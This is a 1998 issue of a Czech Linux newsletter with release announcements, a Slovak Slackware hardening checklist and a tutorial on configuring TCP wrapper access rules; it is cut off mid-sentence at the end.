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Úvodem

Pavel „at’ už je tohle čı́slo za mnou“ Janı́k ml., 11. března 1998

Bezpečnost. Bezpečnost. Bezpečnost. V poslednı́ době
slyšı́me toto slovo stále častěji. Po Internetu se totiž po-
hybuje velká spousta citlivých dat, jejichž zneužitı́ by je-
jich majitelům přineslo obrovské finančnı́ ztráty. Ale nejen
po Internetu. Většina intranetů také obsahuje citlivé údaje,
které je potřeba chránit jak před vnějšı́mi, tak i vnitřnı́mi
nepřátely (ostatně – zeptejte se v NASA . . . ).

Komerčnı́ systémy poskytujı́cı́ zabezpečenı́ dat jsou vel-
mi drahé a někdy jejich cena dokonce převyšuje přı́pad-
nou finančnı́ ztrátu způsobenou únikem informacı́. Jinak je
tomu ve světě Linuxu. Přı́mo v jeho zdrojových textech je
zabudován mechanismus umožňujı́cı́ firewalling. Tento me-
chanismus popisuje Pavel Kaňkovský v článku >Filtrovánı́
paketů v Linuxu. Dokonalejšı́, avšak stále volně šiřitelnou
obdobou, je firewalling na bázi IP Firewall Chains >Fi-
rewall v řetězech.

K bezpečnosti serverů s operačnı́m systémem Linux ta-
ké pomáhá balı́k TCP wrapper, který nám představı́ Leo
Hadacz ve svém článku >TCP wrapper. Vzdálený přı́stup
k již dokonale zabezpečenému serveru si zajistı́me progra-
mem Secure Shell, který popı́še Jan Pazdziora (>SSH —
Secure shell).

Zatı́m tedy dokážeme zabezpečit server zvenčı́ a dokáže-
me se na něj i zvenčı́ přihlásit. Ale ještě jsme neřešili otázku
lokálnı́ bezpečnosti. Té se ve svých článcı́ch dotknou David
Rohleder (článek >Přetečenı́ bufferu) a Pavel Kaňkovský
(článek >S-bit – životu nebezpečno).

Zatı́m jsme poněkud zanedbali otázku bezpečnosti slu-
žeb. Nejpoužı́vanějšı́mi službami na Internetu vůbec jsou
email a WWW. Bezpečnost emailu je zajišt’ována mechanis-
mem PGP, který nám popı́še Petr Kolář v článku nazva-
ném >Pretty Good Privacy. (Ne)bezpečnosti protokolu
HTTP se budeme věnovat v některém z přı́štı́ch čı́sel Linu-
xových novin.

V březnovém čı́sle Linuxových novin dále najdete druhý
dı́l seriálu o dokumentaci v Emacsu od uznávaného odbor-
nı́ka Milana Zamazala (>Emacs? Help! (2.část)) a také
pokračovánı́ seriálu o RPM, jehož autorem je Jan „Yenya“
Kasprzak (>Zı́skávánı́ informacı́ z databáze RPM).

Mezi pravidelné rubriky Linuxových novin patřı́ >Mě-
sı́c v comp.os.linux.announce a >Co nového na sunsi-
te.unc.edu?. Petr Bárta se ujal rubriky >Linux Journal.

Petr Olšák nám ve svém článku >Linux na katedře ma-
tematiky FEL ČVUT představı́ Linux tak, jak jej asi neznáte
– jako pracovnı́ a aplikačnı́ server pro celou fakultu. Článek
Petra Olšáka je dalšı́m důkazem toho, že při koupi nového
programového i technického vybavenı́ se vyplatı́ uvažovat
a vybrat nejvýhodnějšı́, nikoli nejdražšı́, variantu.

No a nakonec se můžete trošku pousmát, protože budete
jistě unaveni četbou pravděpodobně nejobsáhlejšı́ho čı́sla
Linuxových novin.
A konečně se mohu jı́t věnovat své přı́telkyni . . .

Linuxové noviny připravuje a vydává České sdruženı́ uživ
Měsı́c v comp.os.linux.announce
Pavel Janı́k ml., 1. března 1998

Měsı́c únor byl v konferenci comp.os.linux.announce po-
měrně rušný, vždyt’ digesty z konference majı́ velikost skoro
700kB. Pust’me se tedy hned do novinek ve světě operačnı́-
ho systému Linux a free softwaru.

A.E. Brouwer (aeb@win.tue.nl) uvolnil novou verzi pro-
hlı́žeče manuálových stránek man 1.5. Prohlı́žeč je k dispo-
zici na obvyklých mı́stech, např. na adrese (1). Nová verze
obsahuje i české zprávy (ačkoli chybně v adresáři cz mı́s-
to cs). man 1.5 také obsahuje program man2html, který
umožňuje převod z formátu groff do formátu HTML.

Sandro Serafini (sersa@molly.sci.univr.it) naprogramo-
val nový editor Zed (2). Zed je podle svého autora velmi
jednoduchý, rychlý, výkonný, malý, vysoce konfigurovatel-
ný a málo náročný na výkon procesoru. Autor se tedy po-
koušı́ konkurovat editoru vi, uvidı́me, jak se mu to podařı́.
ZED podporuje slupcové bloky, obarvovánı́ syntaxe (C++,
HTML, TEX, Java, mail), vı́ce oken/bufferů, závorkovánı́,
dosové konce řádků, makra, editaci v hexadecimálnı́m mó-
du. (Nebo snad chce konkurovat i Emacsu?)

Andrew M. Bishop (amb@gedanken.demon.co.uk) vy-
tvořil program XBomb 2.1 (3), který se až nápadně podobá
programu MineSweeper standardně dodávanému s Micro-
soft Windows. Program běžı́ pod X-Windows. Oproti jiným
programům umožňuje zvolit i jiná než čtvercová pole. (Já
jsem zkoušel pouze trojúhelnı́ky a můžu řı́ci, že je to po-
měrně obtı́žné . . . )

Linux Software Database (LSDB) byla přesunuta na no-
vou adresu (4). LSDB je prohledávatelná databáze progra-
mového vybavenı́ pro operačnı́ systém Linux.

Společnost Eklektix, Inc. oznámila, že bude pravidelně
vytvářet a obnovovat stránku Linux Weekly News (5). Zatı́m
se jı́ to dařı́.

Alexander Zimmermann oznámil vytvořenı́ binárnı́ dis-
tribuce balı́ku ImageMagick 4.0.1. Detailnı́ popis tohoto ba-
lı́ku a jeho schopnostı́ naleznete na adrese (6). Binárnı́ sou-
bory jsou linkovány proti glibc, naleznete je na adrese (7).

Bruce A. Locke (blocke@lizard.org) vytvořil novou mi-
nidistribuci Linuxu – tentokráte se jedná o instalaci
na UMSDOS filesystému (tedy na jakémkoli DOSu, Win-
dows.) Podporovány jsou jak FAT16 a FAT32, tak i VFAT.
Instalace se jmenuje FireMyst (8) a autor o nı́ napsal:

Installation of FireMyst is as easy as just unziping
a file!

Instalace distribuce FireMyst je stejně jednoduchá
jako rozbalenı́ souboru.
Bruce A. Locke v announci distribuce FireMyst

Paul Russell (rusty@paul.tattersalls.com.au) vytvořil
patch pro jádro verze 2.0.33, který umožňuje využı́vat IP Fi-

rewalling Chains. Jedná se o kompletnı́ přepis IPv4 firewallu

atelů operačnı́ho systému Linux 03/98
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v jádře. Patch je doplněn o náhradu klasického programu
ipfwadm. Vı́ce informacı́ naleznete na adrese (9).

Damian Bentley (dbentley@turing.une.edu.au) uvolnil
dalšı́ beta verzi svého patche pro sendmail, který umožňu-
je kryptovanou komunikaci mezi dvěma (stejně opatchova-
nými) sendmaily. RFC popisujı́cı́ protokol jejich komuni-
kace už je ve fázi přı́pravy. Patch najdete na adrese (10).

Marsel Osipov (marsel@lex.infi.net) hledá dobrovolnı́ky,
kteřı́ mu chtějı́ pomoci při vývoji 3D-modelovacı́ho balı́ku
Virtuoso. Pokud máte zájem, podı́vejte se na adresu (11).

Linbot 0.3 je skvělou pomůckou pro webmastery – umož-
ňuje totiž zobrazit strukturu WWW serveru, sledovat ne-
správné odkazy, dokáže najı́t staré WWW stránky, zobra-
zit seznam odkazů na jiné WWW servery, zobrazit použı́va-
né obrázky, dělat vše zmı́něné pravidelně a bez uživatelova
přičiněnı́. Tento mocný nástroj naleznete na adrese (12).

Paul Ashton (paul@argo.demon.co.uk) oznámil vytvoře-
nı́ nového mailing listu, který se zabývá použı́vánı́m Samby
jako NT domain controlleru. Vı́ce informacı́ o mailing listu
i jeho archı́v naleznete na adrese (13).

S. Mark Black (sblack@ee.ryerson.ca) oznámil novou
verzi balı́ku MAT (Monitoring and Administration Tool),
distribuovaného systému určeného pro správu UNIXových
serverů pomocı́ jednotného GUI. Systém umožňuje sprá-
vu databázı́ uživatelů, skupin, /etc/hosts, exportovaných
svazků, /etc/motd, DNS, /etc/services, cron, NIS, dis-
kového prostoru, přihlašovánı́, routovacı́ch tabulek. Mezi
hlavnı́ výhody patřı́ možnost správy vı́ce počı́tačů z jedné
konzoly. Podrobnějšı́ informace naleznete na adrese (14).

Christopher Neufeld (neufeld@physics.utoronto.ca) oz-
námil novou verzi populárnı́ho perlovského skriptu Distri-
bute (15). Tento skript umožňuje rozložit zátěž na vı́ce po-
čı́tačů. Skript byl prý vyzkoušen i na kompilaci jádra Linu-
xu.

Společnost Xi Graphics nabı́zı́ 25% slevu na celou řadu
svých produktů pro školy, akademické pracovnı́ky a stu-
denty. Vı́ce informacı́ najdete na adrese (16).

Falko Braeutigam (falko@softwarebuero.de) oznámil no-
vou verzi integrovaného vývojového prostředı́ WipeOut,
které je nadstavbou nad CVS, make, gbd, JDK a překladač.
WipeOut obsahuje textový editor, prohlı́žeč třı́d i projektů
apod. Informace naleznete na adrese (17).

Eugene O’Neil (eugene@cs.umb.edu) vytvořil knihovnu
XTC (X Tool Collection). XTC je knihovna pro X-Window
napsaná v „pure“ Javě. Knihovna nenı́ závislá na existujı́-
cı́ch C knihovnách, jako Xlib nebo Motif, měla by je kom-
pletně nahradit. XTC nepoužı́vá standardnı́ AWT, ale přı́-
mo komunikuje s displayem pomocı́ TCP socketů. Knihov-
nu a dalšı́ informace o nı́ naleznete na adrese (18).

Ian Hutchinson (hutch@PSFC.MIT.EDU) oznámil novou
verzi svého programu Tth, konvertoru z TEXu do HTML.
Program naleznete na adrese (19).

Datapult/PF 2.02 (20) je nový, výkonný skriptovacı́ jazyk
pro vytvářenı́ HTML stránek on-line.

Any task that can be done in C, Java, or Perl can
usually be done in PF with far less effort.

Každá úloha, která může být udělána v jazyce C,
Javě nebo Perlu, může být obvykle zhotovena
i v PF s mnohem menšı́ námahou.
Roger Gonzalez v announci Datapult/PF 2.0
Leonard N. Zubkoff (lnz@dandelion.com) oznámil novou
verzi svého ovladače pro SCSI řadiče BusLogic MultiMas-
ter a FlashPoint. Ovladač najdete na adrese (21).

Robert Wilhelm oznámil konečnou verzi knihovny Free-
Type, která sloužı́ k práci s TrueType fonty. Najdete ji na ad-
rese (22).

KDE Beta 3 (23) byla uvolněna 1.února.
M. Leo Cooper (thegrendel@theriver.com) vytvořil dalšı́

verzi Software Building mini-HOWTO, ve kterém se dozvı́-
te, jak kompilovat a instalovat většinu programového vyba-
venı́ pro Linux. Dokument naleznete na adrese (24) nebo
na českém zrcadle (25).

Program Webalizer, který sloužı́ k analýze logovacı́ch sou-
borů HTTP serverů, má evropský mirror na adrese (26).

H. J. Lu (hjl@lucon.org) oznámil novou verzi knihovny
libc – 5.4.44. Knihovnu naleznete na adrese (27).

Hra Freeciv už existuje ve verzi 1.5. Jedná se o hru ne
nepodobnou známé hře Civilization. Naleznete ji na adrese
(28).

Carlo Strozzi (carlos@tango.uu.ml.org) je autorem nové-
ho databázového systému NoSQL (29).

Michael Hoennig (mhoennig@on-line.de) vytvořil neofi-
ciálnı́ „Často kladené otázky“ StarOffice 4.0. Dokument na-
leznete na adrese (30).

David Hinds (dhinds@zen.stanford.edu) uvolnil verzi
3.0.0 balı́ku PCMCIA Card Services – konečně budu mı́t
na svém notebooku oficiálnı́ verzi a žádné své hacky (no
dobře, zase tak horké to nebude – verze 3.0.0 nejde kom-
pilovat s 2.1.89, ale už je k dispozici patch). Balı́k najdete
na obvyklých mı́stech (31).

Paul Sheer (psheer@obsidian.co.za) zdokumentoval po-
stup Kickstart instalace Red Hat Linux 5.0 přes paralelnı́
laplink (PLIP) na adrese (32).

1 Man 1.5
ftp://ftp.win.tue.nl/pub/linux/util

2 Textový editor ZED
http://space.tin.it/io/saserafi/zed

3 XBomb 2.1
http://www.gedanken.demon.co.uk/xbomb/

4 Linux Software Database
http://www.egypt.pca.net

5 Linux Weekly News
http://www.eklektix.com/lwn/

6 ImageMagick
http://www.wizards.dupont.com/cristy/ImageMagick.html

7 FTP server s balı́kem ImageMagick
ftp://ftp.wizards.dupont.com/pub/ImageMagick/linux

8 UMSDOS distribuce FireMyst
http://www.lizard.org/dragonlinux/

9 Linux Generic IP Firewalling Chains
http://www.adelaide.net.au/~rustcorp/ipfwchains/

10 Secure Sendmail
ftp://mcs.une.edu.au/pub/ssmail

11 3D-modelovacı́ balı́k Virtuoso
http://www.geocities.com/SiliconValley/Lakes/7705/

12 Linbot 0.3
http://home1.gte.net/marduk/linbot/index.html

13 Samba domain controller – mailing list
http://samba.anu.edu.au/listproc/

14 MAT 0.15
ftp://sunsite.unc.edu/pub/Linux/system/admin/frontends

15 Distribute

ftp://caliban.physics.utoronto.ca/pub/linux
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16 Xi Graphics
http://www.xig.com

17 WipeOut 1.1h
http://www.softwarebuero.de

18 X Tool Collection
http://www.cs.umb.edu/~eugene/XTC/

19 Tth
http://hutchinson.belmont.ma.us/tth/tth.html

20 Datapult/PF 2.02
http://datapult.com/products/pf/

21 Ovladač pro BusLogic MultiMaster
http://www.dandelion.com/Linux/

22 FreeType font engine
http://www.physiol.med.tu-muenchen.de/~robert/freetype.html

23 The K Desktop Environment
http://www.kde.org

24 Software Building mini-HOWTO
http://sunsite.unc.edu/LDP/HOWTO/mini/Software-Building

25 Software Building mini-HOWTO na TEN-34 CZ
http://www.linux.cz/linuxdoc/HOWTO/mini/Software-Building

26 Evropské zrcadlo programu Webalizer
http://samhain.unix.cslab.tuwien.ac.at/webalizer/

27 Libc 5.4.44
ftp://tsx-11.mit.edu/pub/linux/packages/GCC

28 Freeciv 1.5
http://www.daimi.aau.dk/~allan/freeciv.html

29 NoSQL
ftp://ftp.linux.it/pub/database/RDB/nosql-0.8.tar.gz

30 StarOffice FAQ
http://www.on-line.de/~michael.hoennig/

31 PCMCIA Card Service
ftp://hyper.stanford.edu/pub/pcmcia/pcmcia-cs-3.0.0.tar.gz

32 Red Hat Kickstart – PLIP instalace
ftp://sunsite.unc.edu/pub/Linux/system/install/

Co nového na sunsite.unc.edu?
Pavel Janı́k ml., 7. března 1998

X11

X11/desktop/FileRunner-2.4.2.tar.gz, filemanager
s vestavěnou podporou FTP

X11/fonts/Xfstt-0.9.7.tgz, X FontServer pro fonty *.ttf

apps

apps/graphics/rays/BehemotEditor0.8.0.tar.gz, program
pro ray tracing

apps/sound/mixers/xqmixer-1.4.tar.gz, mixážnı́ program
pro X-Windows (použı́vá knihovnu Qt)

apps/www/mirroring/pavuk-0.7pl3.tgz, mirrorovacı́ balı́k
pro HTTP/FTP/Gopher

commercial

commercial/IPAD.0.5.03.Linux.2.0.i486.X11R6.3.tgz,
„inteligentnı́“ vektorový kreslı́cı́ program
system

system/mail/listservs/BeroList-2.5.5.tar.gz, jednoduše
konfigurovatelný listserver

system/network/serial/ppp/PPPKit-0.7.tar.gz, perlovský
program generujı́cı́ chat script pro PPP připojenı́

system/serial/acua-2.03-1.src.rpm, řı́zenı́ přı́stupu
a administrace pro sériové linky

utils

utils/compress/TkZip-0.9.18b.tar.gz, grafické rozhranı́ pro
různé komprimačnı́ a zálohovacı́ programy

Linux Journal
Petr Bárta, 3. března 1998

Hlavnı́m tématem únorového Linux Jour-
nalu jsou databáze. Rolf Herzog se ve svém
článku věnuje databázi PostgreSQL, jejı́m
funkcı́m, programovému rozhranı́ a spolu-
práci s WWW serverem.

Balı́k Qddb, umožňujı́cı́ rychlé vytvářenı́
databázı́, jejich prohlı́ženı́, generovánı́ vý-
stupů apod., představujı́ Eric Herrin a Gil

Benson.
Jak použı́t databázový systém /rdb (nejen) k analýze logů

WWW serveru ukazuje ve svém článku Ed Petron.
Databázi Beagle SQL popisuje jejı́ autor, Rob Klein, v po-

slednı́m článku věnovaném tématu čı́sla.
Pravděpodobně každého uživatele Linuxu zaujme a po-

těšı́ text Darylla Strausse o technické stránce zpracovánı́
vizuálnı́ch efektů pro film Titanic.

Prvnı́ část seriálu věnovaného sı́t’ovému programovánı́
v Linuxu se zaměřuje na principy sı́t’ovánı́ a BSD sockety.
Autory seriálu jsou Ivan Griffin a John Nelson.

Čtvrtou částı́ se uzavı́rá seriál Michaela J. Hammela
o programu GIMP. Tentokrát autor podrobně popisuje jeho
nástroje (toolbox), pluginy a klávesové zkratky.

Pro začátečnı́ky může být užitečný návod Jonathana
Walthera, jak správně nastavit svůj systém pro přı́jem poš-
ty.

Randy J. Yarger ukazuje programovánı́ modulů v Apa-
chi a spolupráci s mSQL – to vše na přı́kladu webovského
počı́tadla.

Jak posı́lat data z WWW formulářů jako přı́lohu k dopisu,
ale třeba i jak provádět pomocı́ WWW upload souborů na
server se můžete dozvědět v článku Reuvena M. Lernera.

Linux Journal (1) samozřejmě obsahuje ještě dalšı́ re-
cenze a spoustu inzerátů. Jako člověka snažı́cı́ho se nau-
čit PERL mne zaujal přehled knih o PERLu od nakladatel-
stvı́ O’Reilly, z nichž jedna (Programovánı́ v PERLu) vyšla
i v českém překladu.

1 Linux Journal
http://www.linuxjournal.com

Niekol’ko krokov k zvýšeniu bezpečnosti Li-
nuxu Slackware 3.4

Štefan Šimko, 4. března 1998

’
Za bezpečnost budem v tomto článku považovat sú-
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bor opatrenı́ zabezpečujúcich, že nikto nezı́ska kontrolu
nad mojim počı́tačom, neznefunkčnı́ ho ani ho nepoužije
k útoku na iný systém. Tento článok je zameraný na Slac-
kware 3.4. Väčšina krokov, ktoré teraz uvediem, sa netý-
ka len Slackware, ale Linuxu všeobecne. Slackware je jed-
na z najznámejšı́ch a najpoužı́vanejšı́ch distribúciı́ Linu-
xu. Je udržiavaný na Walnut Creek. Jeho domáci archı́v
je na ftp.cdrom.com a má množstvo mirrorov. Zakúpit’ sa
dá na www.cdrom.com, www.lsl.com, www.cheapbytes.com.
Na posledných dvoch stojı́ len 2 – 3 doláre, avšak s poštov-
ným a clom sa môže predražit’ aj na viac ako 500 Sk.

Prvá pomoc

• Nastavenie rootovho hesla. Toto je vel’mi dôležité, pre-
tože jeho vlastnı́k má úplnú kontrolu nad systémom.
Heslo by malo mat’ prinajmenšom 6 znakov, odporú-
čam však 8, malo by obsahovat’ vel’ké, malé pı́smená,
čı́sla a vhodný je aj nejaký nealfanumerický znak. Ne-
malo by to byt’ žiadne zrozumitel’né slovo ani rodné
čı́slo. Hackerské slovnı́ky a programy sa takisto vedia
vyrovnat’ aj so substitúciami typu L – 1, E – 3, O - 0
a podobne.

• Odstránenie bugov dodávaných v distribúcii. Slack-
ware 3.4 sa dodáva s bugovým dillon crontab/crond.
Po inštalácii hned nahradı́me celý balı́k bin.tgz za nový
patchnutý z adresy (1). Ak mienime využı́vat’ POP3, je
vhodné namiesto dodávaného použit’ nejaký iný, dobré
skúsenosti mám s qpopperom, ktorý sa dá nájst’ na ad-
rese (2).

• Vyhodenie zbytočných daemonov z /etc/rc.d/rc.*.
Obzvlášt’ sendmail a siet’ovı́ daemoni v rc.inet2.
Čo naozaj nepotrebujeme, to nemá zmysel spúšt’at’
a ochránime sa aj pred rizikom, ze niekedy v bud-
úcnosti sa objavı́ exploit práve na našu verziu dae-
monov. Zároveň aj šetrı́me pamät’ servera.

• To isté pre služby a daemonov v /etc/inetd.conf.
Služby, ktoré sme ponechali, by mali byt’ oklieštené
pomocou /usr/sbin/tcpd TCP wrappera.

• Nastavenie siet’ových prı́stupových práv pre služby,
ktoré sme nechali v /etc/inetd.conf. Robı́ sa to
pomocou konfiguračných súborov /etc/hosts.allow
a /etc/hosts.deny, ktoré sú konfiguračné súbory
tcpd. Čı́m menej počı́tačom alebo siet’am povolı́me
prı́stup, tým menej l’udı́ má prı́ležitost’ na nás útočit’.

• Okamžitý prechod na kernel aspoň 2.0.33. Predchá-
dzajúce verzie obsahujú bugy v TCP/IP implementá-
cii, ktoré umožňujú hocikomu zo siete zhodit’ Linux
a tým mu znemožnit’ poskytovat’ služby (Denial Of Ser-
vice Attack). Čo sa týka kernelu, nezmenit’ nastavenie
Drop Source-routed Frames, ktoré chráni ostatné po-
čı́tače od útokov cez náš počı́tač.

• Inštalácia najnovšej verzie sendmailu z (3). Obzvlášt’
dôležité, pretože sendmail je vel’mi komplexný pro-
gram plný bugov. Napriek tomu je však často nutné
ho použit’, preto je dôležité mat’ nainštalovanú posled-
nú verziu.

• Inštalácia ssh alebo iného programu zabezpečujúce-
ho, že heslá ani žiadna komunikácia nejde po sieti ne-

zašifrovaná.
• Odstránenie identifikačných znakov Linuxu. Ak ne-
prezradı́me, že použı́vame Linux, vyhneme sa útokom
typu: „Je nový exploit na Linux, vyhladajme všetky
Linuxy na dosah a hacknime ich“. Ako sa dá nájst’
Linux? Pomocou login bannerov v /etc/issue.net,
pomocou SNMP, sendmail, ftpd atd’., pomocou hr-
dých bannerov „Linux inside“ na WWW stránkach
a hlavne podl’a mena servera, ako naprı́klad li-
nux.na.univerzite.sk, čo umožňuje skutočne masové
automatické hl’adanie Linuxov.

Trvalo udržatel’ná bezpečnost’

• Nainštalovat’ software, ktorý pravidelne (z cronu)
kontroluje bezpečnost’ systému. Naprı́klad kontrolu
setuid programov, privilégii a vlastnı́ctva systémových
súborov vykonáva cops. Dobrý program na kontrolu
zmien rôznych parametrov súborov, ako času vytvore-
nia, poslednej zmeny, posledného prı́stupu, d́lžky, zme-
ny obsahu atd’. je tripwire (obidva najdete na adre-
se (4)). Tripwire treba nakonfigurovat’ aby monito-
roval tie súbory ktoré potrebujeme. Databázu kont-
rolných súčtov si treba skopı́rovat’ na nejaký iný počı́-
tač, aby hackeri po zmene súborov nevykonali upda-
te datábazy. Pravidelne kontrolovat’ heslá užı́vatel’ov
pomocou programu crack. Napı́sat’ si alebo pohladat’
nejakú kontrolu /var/log/syslog na zlé pokusy o su,
/var/adm/wtmp na neštandardné adresy.

• Sledovat’ diskusné skupiny a mailing listy zamerané na
bezpečnost’, napr. bugtraq, linux-security, CERT
advisories, SNI advisories, L0pht advisories.

• Použı́vat’ t’ažké heslá, ktoré sa nedajú uhádnut’, odpor-
úča sa aspoň jeden nealfanumerický znak, vel’ké, malé
pı́smená a čı́sla.

• Nedávat’ SUID bit programom, ktoré ho nepotrebujú
alebo bez ktorých sa zaobı́deme.

• Učit’ sa, učit’ sa, učit’ sa, stále je niečo nové. Nenechat’
sa ukolı́sat’ pocitom, že sme spravili všetko a že sme
dobrı́ (tušı́m som zašiel do ideológie).

Paranoia

Ak máte temné tušenie, že to stále nestačı́ a nemôžete sa
zbavit’ pocitu, že niekto ide po vás, môžte naprı́klad pre-
ventı́vne upravit’ svoj kernel:

• Vyhodit’ z drivera siet’ovej karty kód prepı́najúci
do Promiscuous Mode, ktorý umožňuje odchytávat’
z ethernetu packety. Takto dost’ st’ažı́te niekomu, kto
hackol váš počı́tač, útoky na d’al’šie počı́tače pomocou
zachytených hesiel.

• Vyhodit’ použı́vanie modulov.

• Nastavit’ v kerneli kvóty na počet procesov, užı́vatel’ov,
proces/užı́vatel’, pamät’/proces atd’., aby nám užı́vate-
lia nemohli zhodit’ systém obyčajným programom alo-
kujúcim pamät’ alebo procesy.

• Vykonat’ zopár patchov (nápady podl’a Phracku 52 –
(5)):

– Znemožnit’ userom vidiet’ info o procesoch (dobrý

nápad).
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– Znemožnit’ exec iných fajlov ako boli explicitne
povolené (dost’ reštriktı́vne).

– Ochrana pred útokmi s pretekajúcim bufferom.

– Rozvrstvenie právomocı́ na niektoré operácie
(potom netreba root privs) vytvorenı́m špeciál-
nych groups na bindovanie na port < 1024, vy-
tváranie raw socketov.

1 Patch bin.tgz pro Slackware 3.4
ftp://ftp.cdrom.com/pub/linux/slackware-3.4/slakware/a2

2 Qpoper
http://www.eudora.com/freeware/qpop.html

3 Sendmail
http://www.sendmail.org/

4 Cert.org
http://www.cert.org/

5 Phrack 52
http://www.phrack.com/52/

TCP wrapper
Leo Hadacz, 11. března 1998

Instalacı́ tohoto balı́ku lze značně zvýšit odolnost insta-
lace systému proti různým útokům ze sı́tě, nebot’ pomocı́
tohoto balı́ku je možné monitorovat a filtrovat přicházejı́cı́
požadavky pro sı́t’ové služby SYSTAT, FINGER, FTP, TEL-
NET, RLOGIN, RSH, EXEC, TFTP, TALK a jiné. Jádrem
balı́ku je sı́t’ový démon tcpd. Anglické slovo „wrapper“ zna-
mená něco jako „přepı́nač“. Takto se skutečně dá charak-
terizovat činnost tohoto démona. Vysvětlı́me si ji pozdě-
ji na přı́kladu komunikace mezi klientem a serverem pro
službu FINGER. Vzhledem k tomu, že neexistuje (pokud
je mi známo) ustálený český ekvivalent k termı́nu wrap-
per, budu v dalšı́m textu použı́vat tento anglický výraz.

Mezi funkce wrapperu patřı́:

1. ověřovat platnost jména klientského počı́tače

2. ověřovat platnost IP adresy klientského počı́tače

3. zjišt’ovat identitu uživatele (pokud je to možné)
na straně klienta podle protokolů popsaných v doku-
mentu RFC 931 (a dalšı́ch) (client username lookups)

4. pomocı́ tzv. tabulek kontroly přı́stupu (access control
tables) zakázat použitı́ některých služeb od některých
počı́tačů.

Je požadováno, aby démoni odpovı́dajı́cı́ na sı́t’ové poža-
davky, byli spouštěni pomocı́ nějakého speciálnı́ho serveru,
jako je (ve většině přı́padů) démon inetd. Wrapper využı́vá
nastavenı́ tzv. programového rozhranı́ TLI (transport level
interface), pokud je k dispozici.

Jak to pracuje

Téměř všechny aplikace provozované na protokolu TCP/IP
jsou založeny na modelu klient-server. Např. pokud něja-
ký uživatel zadá na lokálnı́m počı́tači přı́kaz telnet (kli-
ent), aby se připojil na vzdálený počı́tač, je na tomto počı́-
tači spuštěn proces (server), který umožnı́ navázánı́ spoje-
nı́. Přı́klady programů klient–server jsou v tabulce >Přı́-

klady architektury klient–server.
klient server aplikace

telnet telnetd vzdálené přihlášenı́
ftp ftpd přenos souborů
finger fingerd výpis uživatelů

Tabulka 1: Přı́klady architektury klient–server

Většinou je na straně serveru spuštěn jediný démon, kte-
rý čeká na všechny přı́chozı́ žádosti o spojenı́. Tento démon
se většinou jmenuje inetd. Jakmile je spojenı́ navázáno,
inetd spustı́ přı́slušný server a začne opět čekat na dalšı́
požadavky.

Programy typu wrapper fungujı́ na jednoduchém princi-
pu. Mı́sto aby inetd spustil hned přı́slušný server, inetd
spustı́ wrapper a jako parametr mu předá jméno serve-
ru, který se měl původně spustit. Wrapper pak zazname-
ná do nějakého souboru (logu) jméno a adresu klientského
počı́tače a může též provést dalšı́ kontrolnı́ činnosti. Když
tyto činnosti proběhnou dobře, wrapper spustı́ přı́slušný
server a sám skončı́.

Programy typu wrapper majı́ svoje výhody i nevýhody.
Mezi výhody patřı́ to, že wrapper je nezávislý jak na kli-
entovi, tak na serveru, takže tyto programy nejsou závislé
na aplikaci, lze je použı́t (s jistým omezenı́m) na jakéko-
liv internetové služby. Kromě toho jsou wrappery pro kli-
enty neviditelné (přinejmenšı́m pro autorizované klienty).
Výhodné je rovněž to, že wrapper je aktivnı́ pouze při ini-
ciálnı́m kontaktu mezi klientem a serverem, takže jakmile
wrapper splnı́ svoji úlohu, nevzniká dalšı́ overhead (tj. „nad-
bytečná data“) v komunikaci mezi klientem a serverem.

Jednoduchý mechanismus funkce wrapperu má však
jednu velkou nevýhodu. Wrapper vı́ceméně nelze použı́t
pro servery, které obhospodařujı́ vı́ce než jednoho klien-
ta. Wrapper by totiž měl efekt pouze na klienta, který prvnı́
kontaktuje server. Typickým přı́padem je NFS mount dé-
mon. V některých přı́padech má však použitı́ např. přı́stu-
pových tabulek implementován přı́mo server, nebo lze ně-
kdy použı́t pomocný software, který tuto nevýhodu elimi-
nuje.

Wrapper zaznamenává informace o žádostech a průbě-
hu připojenı́ do logovacı́ch souborů s využitı́m logovacı́ho
démona, který se většinou jmenuje syslogd (viz manová
stránka syslogd(8)). To, do kterého souboru je informa-
ce ukládána, záležı́ na konfiguraci logovacı́ho démona. Ta-
to konfigurace je zpravidla v souboru /etc/syslog.conf.
V distribuci Red Hat Linux wrapper zapisuje hlášky větši-
nou do souboru /var/log/messages.

Wrapper lze nastavit několika způsoby. Nejběžnějšı́ přı́-
stup je změna v souboru /etc/inetd.conf. Uvedeme si
nynı́ slı́bený přı́klad se službou FINGER.

Původnı́ položka v souboru /etc/inetd.conf mohla vy-
padat např. takto:

finger stream tcp nowait nobody \
/usr/sbin/in.fingerd in.fingerd

Abychom uvedli v činnost program tcpd, změnı́me pů-
vodnı́ položku takto:

finger stream tcp nowait nobody \
/usr/sbin/tcpd in.fingerd
Nynı́ tedy při požadavku na připojenı́ službou FINGER
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nebude hned spuštěn program in.fingerd, ale program
tcpd.

Pokud je démon pro danou službu uveden bez cesty,
tcpd jej hledá v adresáři, který byl nastaven v konstan-
tě REAL DAEMON DIR (lze ji zadat před překladem progra-
mu), což je v Red Hat Linux 5.0 adresář /usr/sbin. Lze
však použı́t i absolutnı́ cestu:

ntalk dgram udp wait root \
/usr/etc/tcpd /usr/local/lib/ntalkd

Po této změně musı́me zaslat signál HUP procesu inetd,
aby se změna projevila. Učinı́me tak např. přı́kazem

killall -HUP inetd

Tabulky kontroly přı́stupu

Program tcpd je v distribuci Red Hat přeložen s podporou
kontroly přı́stupů, která je realizována pomocı́ dvou soubo-
rů: /etc/hosts.allow a /etc/hosts.deny. Tyto soubory
se většinou označujı́ jako tabulky kontroly přı́stupu. Tyto
soubory obsahujı́ pravidla určujı́cı́, která připojenı́ od kte-
rých počı́tačů majı́ být akceptována a která ne. Tyto ta-
bulky jsou využı́vány i některými dalšı́mi programy, jako je
např. ssh (alespoň podle mých zkušenostı́), které pomocı́
démonu tcpd spouštěny nejsou. S tı́mto je třeba počı́tat.
Když např. povolı́me jen některé démony, které vyčteme ze
souboru /etc/inetd.conf, musı́me být připraveni na to,
že možná nepojedou některé jiné věci. Potom však stačı́ přı́-
slušné služby doplnit. Např. budeme chtı́t zakázat všech-
ny služby volané démonem inetd pro počı́tač se jménem
anchor.env.cz. Naeditujeme tedy soubor /etc/hosts.deny
a dáme do něj pravidlo

ALL: anchor.env.cz

Zjistı́me však, že se na náš počı́tač nelze z jmenovaného
počı́tače připojit pomocı́ programu ssh. Dále se nám nelı́-
bı́, že najednou nejdou na počı́tači anchor montovat disky
z našeho počı́tače. Je to proto, že tabulky kontroly přı́stu-
pu ovlivňujı́ i program portmapper, který je pro monto-
vánı́ disků potřebný. Službu programu portmapper musı́-
me tedy rovněž povolit. Tato služba se označuje řetězcem
